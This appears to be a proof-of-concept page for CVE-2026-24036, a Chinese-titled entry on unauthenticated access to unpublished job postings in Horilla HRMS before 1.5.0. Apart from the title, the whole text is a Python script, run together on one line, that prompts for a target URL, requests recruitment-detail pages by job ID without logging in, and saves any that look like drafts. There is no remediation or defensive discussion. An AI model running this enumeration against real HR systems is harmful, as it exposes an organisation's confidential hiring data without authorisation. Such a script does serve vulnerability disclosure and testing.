CVE-2026-24036 Horilla HRMS未授权访问招聘信息漏洞

import requests # CVE-2026-24036 PoC - Unauthenticated access to unpublished job postings # Target: Horilla HRMS < 1.5.0 target_url = input("Enter target URL (e.g., http://target.com): ") # Try to access recruitment details endpoint without authentication for job_id in range(1, 100): url = f"{target_url}/recruitment/recruitment-details/{job_id}/" try: response = requests.get(url, timeout=10) if response.status_code == 200: # Check if response contains unpublished job information if "draft" in response.text.lower() or "job_title" in response.text: print(f"[!] Found unpublished job posting at ID: {job_id}") print(f"[+] URL: {url}") print(f"[+] Response length: {len(response.text)} bytes") # Save response for analysis with open(f"job_{job_id}_response.html", "w") as f: f.write(response.text) print(f"[+] Response saved to job_{job_id}_response.html") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {url}: {e}") print("[*] Scan completed.")